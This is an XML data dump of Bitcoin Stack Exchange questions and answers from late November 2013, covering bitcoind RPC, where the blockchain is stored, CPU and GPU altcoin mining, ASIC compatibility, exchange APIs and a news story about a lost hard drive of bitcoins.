  <row Id="17469" PostTypeId="1" CreationDate="2013-11-28T20:45:51.560" Score="1" ViewCount="873" Body="&lt;p&gt;Can anyone help me understand how their payment API works at a bitcoind rpc level?  As far as I can tell, there is no way to see what the balance of an address is, only the number of bitcoins that address has received along with the confirmations for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to replicate the blockchain API, i would have to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create an address and associated it to an account (destination address)&lt;/li&gt;&#xA;&lt;li&gt;check the balance of all accounts&lt;/li&gt;&#xA;&lt;li&gt;get a list of all addresses in that account&lt;/li&gt;&#xA;&lt;li&gt;check all the addresses looking for the lowest confirmations&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if value &amp;lt; balance loop back to ensure to check other addresses &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;locate callback and call that&lt;/li&gt;&#xA;&lt;li&gt;move btcs from account to destination address&lt;/li&gt;&#xA;&lt;li&gt;repeat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it really that convoluted or am I missing something much simpler?  I currently run a website that processes BTC payments but i'd like to move away from relying on blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="9571" LastActivityDate="2014-02-27T19:41:06.533" Title="How does blockchain.info determine when a payment is received?" Tags="|bitcoind|json-rpc|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17471" PostTypeId="2" ParentId="17466" CreationDate="2013-11-28T21:19:36.807" Score="1" Body="&lt;p&gt;There is a bug in v0.5.15 where if you close a wallet and then reopen it straight away the screen does not refresh. If you shut down multibit and then start it up again you should see it.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-11-28T21:19:36.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17472" PostTypeId="1" CreationDate="2013-11-28T21:30:08.397" Score="0" ViewCount="520" Body="&lt;p&gt;I installed the bitcoin program and now it's synchronising, and although I installed it on my very large D: disk it's moving all of the stuff on my little C: disk.&#xA;It's now around 6 GB in size with 45 weeks to go and I'm out of room. Is there a way I can safely move it to my D: or make it synchronise onto my D: instead?&lt;/p&gt;&#xA;" OwnerUserId="9573" LastActivityDate="2013-11-29T07:36:24.940" Title="Bitcoin too large file" Tags="|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17476" PostTypeId="2" ParentId="17472" CreationDate="2013-11-28T23:05:50.463" Score="1" Body="&lt;p&gt;You can specify where to store the blockchain by starting QT with the following command argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-datadir D:\BITCOIN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-11-28T23:05:50.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17477" PostTypeId="2" ParentId="17472" CreationDate="2013-11-28T23:07:47.530" Score="1" Body="&lt;p&gt;You can either start the bitcoin client with the command line option &lt;code&gt;-datadir=&amp;lt;path to another directory&amp;gt;&lt;/code&gt; (you would have to do this every time you start the client) or you can link the &lt;code&gt;blocks&lt;/code&gt; directory to another location. How to do this depends on your operating system:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For Windows I found this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=63844.msg748224#msg748224&quot; rel=&quot;nofollow&quot;&gt;forum post&lt;/a&gt; (didn't test it but sounds reasonable)&lt;/li&gt;&#xA;&lt;li&gt;On Linux you could do something like this: &lt;code&gt;ln -s ~/.bitcoin/blocks /another/directory&lt;/code&gt; (make sure you use an absolute path for the source directory).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2013-11-28T23:07:47.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17479" PostTypeId="1" CreationDate="2013-11-28T23:21:25.740" Score="2" ViewCount="252" Body="&lt;p&gt;I have web hosting virtualized Windows 2012 Server without GPU and with one core of Intel Xeon 5520.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pay it anyway and I use about 10% CPU. I would like to use the rest for CPU mining feathercoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gui miner does not work, probably because the server has no Graphic Adapter (I use remote desktop). It crash on start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which program should I use for such mining?&lt;/p&gt;&#xA;" OwnerUserId="9585" LastEditorUserId="516" LastEditDate="2013-11-29T00:10:04.547" LastActivityDate="2013-11-29T00:10:04.547" Title="Which program is suitable to server mining of Feathercoin?" Tags="|alternatives|server|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:35:13.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="17481" PostTypeId="2" ParentId="17458" CreationDate="2013-11-29T00:01:20.000" Score="0" Body="&lt;p&gt;I used it, and it worked fine. You could also check out telenor, I think they are selling bitcoins in Pakistan, so no need to trade abroad. The premium may be worth paying given the rising value of the coins i.e your $ buying power may diminish whilst your transfer is processed by the banks.&lt;/p&gt;&#xA;" OwnerUserId="9453" LastActivityDate="2013-11-29T00:01:20.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17486" PostTypeId="1" CreationDate="2013-11-29T01:51:55.950" Score="-1" ViewCount="89" Body="&lt;p&gt;How do online marketplaces that transact with bitcoins take a commission from the sales?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they simple accept the bitcoin first, take their cut, and then transfer the remaining proceeds to the seller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I am referring to a website taking a commission of an online sale, not bitcoin exchange charge fees.&lt;/p&gt;&#xA;" OwnerUserId="9595" LastEditorUserId="9595" LastEditDate="2013-11-29T17:24:20.927" LastActivityDate="2013-11-29T17:24:20.927" Title="How does an online market place collect commissions on bit coins?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17488" PostTypeId="2" ParentId="17486" CreationDate="2013-11-29T03:05:13.767" Score="0" Body="&lt;p&gt;Bitcoin exchanges charge fees on trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mtgox.com/fee-schedule&quot; rel=&quot;nofollow&quot;&gt;https://www.mtgox.com/fee-schedule&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitstamp.net/fee_schedule/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/fee_schedule/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1873" LastActivityDate="2013-11-29T03:05:13.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17489" PostTypeId="1" CreationDate="2013-11-29T03:27:46.620" Score="0" ViewCount="2525" Body="&lt;p&gt;On my vps I decided to start mining litecoin because I wasn't really using the server for anything. I thought, why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the cpuminer script with the correct command line arguments and it connects to the mining proxy fine. It mines like normal for a few minutes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hk2ui.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works pretty well and then the script just says Killed and gives me the command line. I can run the same command again and mine litecoin for a few minutes and the same thing happens. I think this is the work of my vps hoster (vpscheap.com if it helps). What could be causing this and is there any way to get the script to automatically restart when it is killed? Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s the server is ubuntu 13.04-x86-64  &lt;/p&gt;&#xA;" OwnerUserId="6482" LastActivityDate="2014-12-02T15:50:51.227" Title="Scrypt server mining process killed" Tags="|litecoin|server|linux|ubuntu|scrypt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17491" PostTypeId="1" CreationDate="2013-11-29T04:30:04.547" Score="3" ViewCount="11111" Body="&lt;p&gt;I recently started mining LTCs, and because Im using a Nvidia card (GTX 650Ti) I have been trying out different settings in order to maximize efficiency with the hash rates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed though that different settings result in different shares accepted. For example I can have the card running stable with a 90KHps but only one share accepted every few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using different settings I get 50KHps but several shares a minute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which results in greater LTCs mined in the same period of times? The greater shares or the higher hash rates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using CudaMiner with the following cmd:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cudaminer.exe -l K8x16 -C 2 -m 1 -i 0 -o stratum+tcp://coinotron.com:3334 -O workername.1:x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback would be much appreciated! &lt;/p&gt;&#xA;" OwnerUserId="9613" LastActivityDate="2014-07-11T15:38:15.010" Title="Shares accepted vs hash rates?" Tags="|hash|mining-pool-shares|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17493" PostTypeId="1" CreationDate="2013-11-29T05:06:43.850" Score="2" ViewCount="379" Body="&lt;p&gt;I've noticed the recently solved block hashes have started with a number of zeros (8 last time I checked). Couldn't we just tell our mining hardware/software to assume the first few digits are in fact zeros and give us a head start?&lt;/p&gt;&#xA;" OwnerUserId="9615" LastEditorUserId="5406" LastEditDate="2016-04-25T15:37:16.347" LastActivityDate="2016-04-25T15:37:16.347" Title="Cheating ASICs and Mining Software" Tags="|hash|difficulty|mining-technical-details|sha256|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17494" PostTypeId="2" ParentId="17493" CreationDate="2013-11-29T06:58:07.417" Score="5" Body="&lt;p&gt;All block hashes start with a certain number of zeroes by design. The nature of a hash is that knowing something about the output does not help you figure out what the input is supposed to be (at least in theory). So in short, no.&lt;/p&gt;&#xA;" OwnerUserId="9625" LastActivityDate="2013-11-29T06:58:07.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17495" PostTypeId="2" ParentId="3706" CreationDate="2013-11-29T07:13:45.283" Score="0" Body="&lt;p&gt;IF you are running the MultiBit wallet, you can find your Bitcoin Address here:&#xA;1) Go to the Request tab,&#xA;2) &lt;img src=&quot;https://i.stack.imgur.com/d3TGV.png&quot; alt=&quot;Your address&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9626" LastActivityDate="2013-11-29T07:13:45.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17500" PostTypeId="1" AcceptedAnswerId="17502" CreationDate="2013-11-29T09:21:22.573" Score="4" ViewCount="49581" Body="&lt;p&gt;I was wondering buy this &lt;a href=&quot;https://products.butterflylabs.com/homepage/5-gh-s-bitcoin-miner.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASIC miner&lt;/a&gt; of 5GH/s to mine Litecoin. &#xA;&lt;img src=&quot;https://www.wired.com/wiredenterprise/wp-content/uploads/2013/04/butterfly.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want know, can I mine Litecoin with this powerful tool? If not, there any ASIC miner's that can mine Litecoin? &lt;/p&gt;&#xA;" OwnerUserId="9450" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.767" LastActivityDate="2016-03-10T14:53:05.983" Title="5 GH/s Bitcoin Miner from Butterfly Labs can mine Litecoin?" Tags="|litecoin|asic|mining-hardware|scrypt|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17502" PostTypeId="2" ParentId="17500" CreationDate="2013-11-29T09:44:45.413" Score="7" Body="&lt;p&gt;Litecoin uses a different proof of work than Bitcoin, so that hardware won't be compatible(it won't be solving the right problems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the motivations of Litecoin was to make CPU mining viable by making it difficult to create efficient GPU/FPGA/ASIC miners, so it's unlikely that you can find specialized hardware for this purpose. I think that some GPUs do give a speedup over CPU mining with Litecoin, but it isn't as dramatic as with Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="533" LastActivityDate="2013-11-29T09:44:45.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17505" PostTypeId="1" CreationDate="2013-11-29T10:44:46.420" Score="0" ViewCount="90" Body="&lt;p&gt;MtGox currently offers both a websockets and HTTP API services. According to the documentation the HTTP service caches prices for 10sec but there is no clarification (that I can find) that details the real-time guarantees of the streaming services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which would be expected to be closest to real-time?&lt;/p&gt;&#xA;" OwnerUserId="9640" LastActivityDate="2013-11-29T16:45:36.050" Title="MtGox websockets vs HTTP - which is more real-time?" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17506" PostTypeId="1" CreationDate="2013-11-29T11:42:15.207" Score="0" ViewCount="3965" Body="&lt;p&gt;Right now I am using GUIminer(and some guides said not to use it), it gets ~80Mhash/s but this miner is laggy, sometimes disconnects without a reason, and it is slow... So I would like to use cgminer, but it doesn't find Intel hd card...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how do I use cgminer with Intel HD 4000 integrated card, so it could mine? Or what miner would you suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: this is a question by a guy who is working with BTC for like 1h lol AND I don't want to receive answers who say this is stupid or ineffective.. or it's Impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is HOW would You do this with the restrictions of an integrated video card? lets say for theoretical learning purposes, NOT TO MAKE MONEY! I just wanna see if I can make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I should use BFGMiner if he would work better(or at all) with Intel integrated HD 4000 card?&#xA;thanks:)&lt;/p&gt;&#xA;" OwnerUserId="9642" LastEditorUserId="5406" LastEditDate="2016-04-28T13:40:06.807" LastActivityDate="2016-04-28T13:40:06.807" Title="What is the best BTC miner for intel HD 4000 card?" Tags="|bitcoind|cgminer|mining-software|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17507" PostTypeId="1" CreationDate="2013-11-29T11:55:23.407" Score="2" ViewCount="3057" Body="&lt;p&gt;For the last 32 hours my bitcoin-qt has been unable to sync with the network even with my firewall and VPN switched off. Any ideas what else to check? Using Windows 7 SP1 x64 and have rebooted the machine. Internet connection is fine, plenty of space for the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i0UrA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9639" LastActivityDate="2016-10-16T09:19:46.003" Title="Why can't my bitcoin-qt sync with network?" Tags="|client|bitcoin-core|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17509" PostTypeId="1" AcceptedAnswerId="17510" CreationDate="2013-11-29T13:03:47.573" Score="2" ViewCount="327" Body="&lt;p&gt;I'll admit to being a complete newbie to Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole thing has up until now passed me by, until my interest was peaked by &lt;a href=&quot;http://www.theguardian.com/technology/2013/nov/27/hard-drive-bitcoin-landfill-site&quot; rel=&quot;nofollow&quot;&gt;this news story&lt;/a&gt; about a gentleman in the UK who supposedly threw away a hard drive containing £4 million GBP of Bitcoins, and is now apparently searching through his local landfill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a little skeptical to say the least, and have a few questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this technically feasable? I have seen comments about the place suggesting that one individual wouldn't have had access to the computing power needed to mine this many bitcoins in 2009&lt;/li&gt;&#xA;&lt;li&gt;Is there any way to verify this guys story? Surely there is a record somewhere of which bitcoins are registered to who&lt;/li&gt;&#xA;&lt;li&gt;Doesn't Bitcoin have a 'Forgot my password' feature or something similar? Surely something like this exists, or there is some administrative body who could be contacted in this scenario.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9647" LastEditorUserId="5406" LastEditDate="2016-04-25T15:34:30.820" LastActivityDate="2024-01-08T18:53:52.040" Title="Is the news story about the missing hard drive containing £4 million GBP of Bitcoins technically feasable?" Tags="|exchange-rate|mining-reward|history|news-coverage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17510" PostTypeId="2" ParentId="17509" CreationDate="2013-11-29T13:34:19.480" Score="8" Body="&lt;ul&gt;&#xA;&lt;li&gt;Yes - it's feasible.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are released at a constant rate determined by the protocol. At the time, 50 Bitcoins were being generated for every block(this is now 25); and blocks are supposed to be found every 10 minutes. Miners compete amongst each other for this prize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2009, you could mine using your computer's CPU and you were only competing with very few other people. There weren't large mining pools and dedicated hardware, so it was easy for anyone to run the client and mine hundreds or thousands of Bitcoins. It was so easy that you wouldn't think that losing your wallet was a big deal.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maybe, but it'd be a lot of work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All transactions - including mined Bitcoins - are recorded in a publicly accessible global ledger. Many people download the entire transaction history on their own computer, and there are tools for working with it. It might be possible with some detective work to try to track down what address they were likely stored in using the clues given, but it's not easy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nope - if you lose your wallet those Bitcoins are lost forever.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's terrible for the person who owned them, but it doesn't impair the rest of the Bitcoin economy. It makes the value of the remaining Bitcoins go up to compensate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are already exchanges that will hold your wallet for you if you're worried about things like this. They're more secure than holding them on your personal computer, and in the future it's possible some of them might offer insurance or other guarantees in case they lose your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a design feature that there's no administrative body who can restore your Bitcoins. You would have to trust this administrative organization not to abuse their power. The developers of the original Bitcoin client have no more power than anyone else using Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="533" LastEditorUserId="533" LastEditDate="2013-11-29T13:39:35.910" LastActivityDate="2013-11-29T13:39:35.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17511" PostTypeId="1" AcceptedAnswerId="18807" CreationDate="2013-11-29T13:40:14.930" Score="1" ViewCount="1714" Body="&lt;p&gt;Using GPU(s) for Litecoin (scrypt, Cudaminer) and a USB ASIC for Peercoin (SHA-256).&lt;/p&gt;&#xA;" OwnerUserId="9487" LastActivityDate="2013-12-15T21:53:02.490" Title="Is it possible to mine Peercoin and Litecoin simultaneously on the same machine?" Tags="|litecoin|gpu|asic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17514" PostTypeId="1" CreationDate="2013-11-29T13:57:47.840" Score="2" ViewCount="622" Body="&lt;p&gt;I have a tiny question regarding the Bitcoin JSON-RPC API. I have &lt;a href=&quot;http://blockexplorer.com/testnet/t/6yd81zFUCV&quot; rel=&quot;nofollow&quot;&gt;a transaction on Testnet&lt;/a&gt; which sends one coin to an other address owned by me (on an other account than the sender). The sending address, &lt;code&gt;mtGaEd9zZU8B7aYSuQiDFZTo2wiS8dWb3c&lt;/code&gt;, is listed under the default account, running &lt;code&gt;getaccount mtGaEd9zZU8B7aYSuQiDFZTo2wiS8dWb3c&lt;/code&gt; outputs indeed an empty string. The receiving address, &lt;code&gt;mzcj8xYome3gmAWZG57yutv14sctPxbPV6&lt;/code&gt;, is listed under an account named &lt;code&gt;test&lt;/code&gt;, as expected running &lt;code&gt;getaccount mzcj8xYome3gmAWZG57yutv14sctPxbPV6&lt;/code&gt; returns &lt;code&gt;test&lt;/code&gt;. Both addresses also show up when I use &lt;code&gt;getaddressesbyaccount&lt;/code&gt;, but the change that went to address &lt;code&gt;mnUJRd9CL3GV1QbWFxJxLj2DgE1ADSB8oR&lt;/code&gt;, which also returns an emtpy string when using it as argument to &lt;code&gt;getaccount&lt;/code&gt;, doesn't show up in the &lt;code&gt;getaddressesbyaccount&lt;/code&gt; call output. Why is that? I can't sum the balances of each addresses now for a reliable account balance, only &lt;code&gt;getbalance&lt;/code&gt; return the right answer.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2013-12-29T18:29:24.653" Title="Account change address is not showing up with `getaddressesbyaccount`" Tags="|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17515" PostTypeId="1" CreationDate="2013-11-29T14:37:20.517" Score="5" ViewCount="7638" Body="&lt;p&gt;I've read many times over a long period of time that GPU will win out against CPU every time if you use hardware of a similar tier/age. However, i've been toying around today with some FTC mining and noticed what appears to be the opposite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rig:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i7 4770k (no overclock currently)&lt;/li&gt;&#xA;&lt;li&gt;570 GTX Twin Frozr&lt;/li&gt;&#xA;&lt;li&gt;16Gb RAM + SSDs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm mining using the latest versions of Pooler's CPU miner + CudaMiner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i mine with the CPU on 4 threads (no hyperthreading), i get 67kh/sec with an increase of 64w power, measured using Asus AI Suite (motherboard software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i mine with the GPU, it runs @ 71% average load (measured in GPU-Z), gets 145kh/sec and the power from this rise should be around 151w, according to official and unofficial power spec/stats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By my maths, i make this out to be roughly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU - 1.05kh/w&lt;/li&gt;&#xA;&lt;li&gt;GPU - 0.9kh/w&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The kh/sec numbers also seem similar to other numbers i've read for my hardware, such as forum posts and this list - &lt;a href=&quot;https://litecoin.info/Mining_Hardware_Comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_Hardware_Comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think i've done a decent amount of testing here, but i'm sure i must have made an error somewhere along the line. But so far, my numbers indicate that while the GPU gets more per second, it gets less per watt... thus, less cost efficient. I know i'm using Nvidia, which is less efficient for mining than AMD, generally, but these numbers go against everything i've read before now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain this, or dispell my numbers? I'd love to work out what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="9655" LastEditorUserId="5406" LastEditDate="2016-03-17T15:53:05.270" LastActivityDate="2016-03-17T15:53:05.270" Title="CPU vs GPU Mining (FTC) - CPU wins? How?" Tags="|litecoin|mining-hardware|hashpower|gpu-mining|cpu-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17516" PostTypeId="1" CreationDate="2013-11-29T14:42:07.490" Score="1" ViewCount="613" Body="&lt;p&gt;Using Litecoin-QT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I created wallet &lt;strong&gt;a&lt;/strong&gt;. Then I sent 2 LTC to that wallet's public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I imported a private key in Litecoin-QT and wallet &lt;strong&gt;a&lt;/strong&gt; was gone?! Aren't all .dat files  that has been used stored somewhere, or do they get overwritten everytime you import a new key to your wallet?&lt;/p&gt;&#xA;" OwnerUserId="9657" LastActivityDate="2013-11-29T16:29:52.073" Title="Lost Litecoin wallet?" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17517" PostTypeId="2" ParentId="17507" CreationDate="2013-11-29T15:00:13.943" Score="-2" Body="&lt;p&gt;you need to just wait, its 6GB of data and can take anywhere from several minutes to several hours, there have even been reports of it taking days.  Its because of the size of the hard drive, the speed of the computer, the speed of the internet connection etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="9658" LastActivityDate="2013-11-29T15:00:13.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17518" PostTypeId="2" ParentId="17500" CreationDate="2013-11-29T15:14:20.497" Score="1" Body="&lt;p&gt;Supposedly, UK-Based &lt;a href=&quot;http://alpha-t.net&quot; rel=&quot;nofollow&quot;&gt;Alpha Technologies&lt;/a&gt; are about to release a Litecoin/Scrypt-capable ASIC ship miner, which should speed up mining Scrypt-based coins substantially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alpha-t.net/product/scrypt-asic-miner&quot; rel=&quot;nofollow&quot;&gt;http://alpha-t.net/product/scrypt-asic-miner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4312" LastActivityDate="2013-11-29T15:14:20.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17519" PostTypeId="1" AcceptedAnswerId="17525" CreationDate="2013-11-29T15:43:43.287" Score="0" ViewCount="93" Body="&lt;p&gt;I've created the hex for a raw transaction but do not have the wallet priv/keys in the wallet. Can I still send the transaction using sendrawtransaction? I've checked the message using signrawtransaction and this returns complete.&lt;/p&gt;&#xA;" OwnerUserId="9551" LastActivityDate="2013-11-29T16:31:58.753" Title="Sending coins when the priv/public keys are not in wallet (bitcoind)" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17520" PostTypeId="1" CreationDate="2013-11-29T16:00:25.427" Score="0" ViewCount="417" Body="&lt;p&gt;I'm trying to understand how a bitcoin is valued. In my mind, it seems like it can be broken down with some basic math. For instance, if there is $50 trillion worth of &quot;money&quot; in the world and 1% of that money is in bitcoin, and there are 12 million bitcoins in existance, that would make a bitcoin 'worth' $41,666.67 in the physical world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a correct approach to identifying its value if I wanted to convert to/from dollars? Or, am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="9261" LastActivityDate="2013-11-29T16:20:55.963" Title="Bitcoin Value Calculation" Tags="|value|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17521" PostTypeId="2" ParentId="17520" CreationDate="2013-11-29T16:20:55.963" Score="1" Body="&lt;p&gt;There is no mathematical way to determine the value of Bitcoins (or shares of real companies, currencies and similar). It's value is how much people that use it value it. The best indicator what the price is is its exchange rate on various exchanges on the internet like BTC-e, mtGox, Bitstamp and many more. Bitcoins can more or less be related to more traditional currencies when it comes to theoretical background, valuing and more, but take in account Bitcoins are not backed nor managed by anyone or anything. It's all virtual. To look at the price and maybe analyse it you can hop over to bitcoincharts and take a look.&lt;/p&gt;&#xA;" OwnerUserId="9661" LastActivityDate="2013-11-29T16:20:55.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17523" PostTypeId="2" ParentId="17500" CreationDate="2013-11-29T16:26:42.153" Score="4" Body="&lt;p&gt;No, you can't mine Litecoin with any of Butterfly Labs' products. There is an ASIC miner in development by Alpha Tech &lt;a href=&quot;http://alpha-t.net/&quot; rel=&quot;nofollow&quot;&gt;http://alpha-t.net/&lt;/a&gt; that they claim will be able to.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-29T16:26:42.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17524" PostTypeId="2" ParentId="17516" CreationDate="2013-11-29T16:29:52.073" Score="2" Body="&lt;p&gt;Importing a private key should not cause you to lose your wallet. If you import a private key and then restore from a previous backup, you may lose that key, however.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-29T16:29:52.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17525" PostTypeId="2" ParentId="17519" CreationDate="2013-11-29T16:31:58.753" Score="0" Body="&lt;p&gt;Yes. You should not need the keys to be in the wallet to send a transaction using sendrawtransaction(). All sendrawtransaction() does is broadcast it over the network.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-29T16:31:58.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17526" PostTypeId="2" ParentId="17514" CreationDate="2013-11-29T16:41:47.160" Score="0" Body="&lt;p&gt;It doesn't show up in the results from getaddressesbyaccount() because addresses are only associated with accounts by use of getnewaddress() or setaccount().&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-29T16:41:47.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17527" PostTypeId="2" ParentId="17505" CreationDate="2013-11-29T16:45:36.050" Score="1" Body="&lt;p&gt;You would expect websockets to be more real-time because it is designed as an upgrade to HTTP to enable live streaming and real-time services.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-29T16:45:36.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
